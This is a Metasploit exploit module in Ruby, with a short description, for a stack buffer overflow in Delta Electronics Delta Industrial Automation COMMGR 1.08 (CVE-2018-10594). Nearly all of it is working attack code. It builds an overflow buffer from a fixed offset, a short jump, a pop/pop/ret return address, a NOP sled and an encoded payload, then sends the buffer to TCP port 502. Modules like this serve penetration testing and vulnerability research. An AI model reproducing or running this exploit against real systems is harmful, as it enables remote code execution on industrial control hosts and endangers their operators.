This Metasploit module exploits a stack based buffer overflow in Delta Electronics Delta Industrial Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially crafted packets. This Metasploit module has been tested successfully on Delta Electronics Delta Industrial Automation COMMGR 1.08 over Windows XP SP3, Windows 7 SP1, and Windows 8.1.
6d71ad614ad723a5e3774b3af8fa38d7##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial
Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially
crafted packets. This module has been tested successfully on Delta Electronics Delta
Industrial Automation COMMGR 1.08 over
Windows XP SP3,
Windows 7 SP1, and
Windows 8.1.
},
'Author' =>
[
't4rkd3vilz', # PoC
'hubertwslin' # Metasploit module
],
'References' =>
[
[ 'EDB', '44965'],
[ 'CVE', '2018-10594']
],
'Payload' =>
{
'Space' => 640,
'DisableNops' => true,
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>
[
[ 'COMMGR 1.08 / Windows Universal',
{
'Ret' => 0x00401e14, # p/p/r COMMGR.exe
'Offset' => 4164
}
],
],
'DisclosureDate' => 'Jul 02 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(502)
])
end
def exploit
data = rand_text_alpha(target['Offset'])
data << "\xeb\x27\x90\x90" # jmp short $+27 to the NOP sled
data << [target.ret].pack("V")
data << make_nops(40)
data << payload.encoded
print_status("Trying target #{target.name}, sending #{data.length} bytes...")
connect
sock.put(data)
disconnect
end
end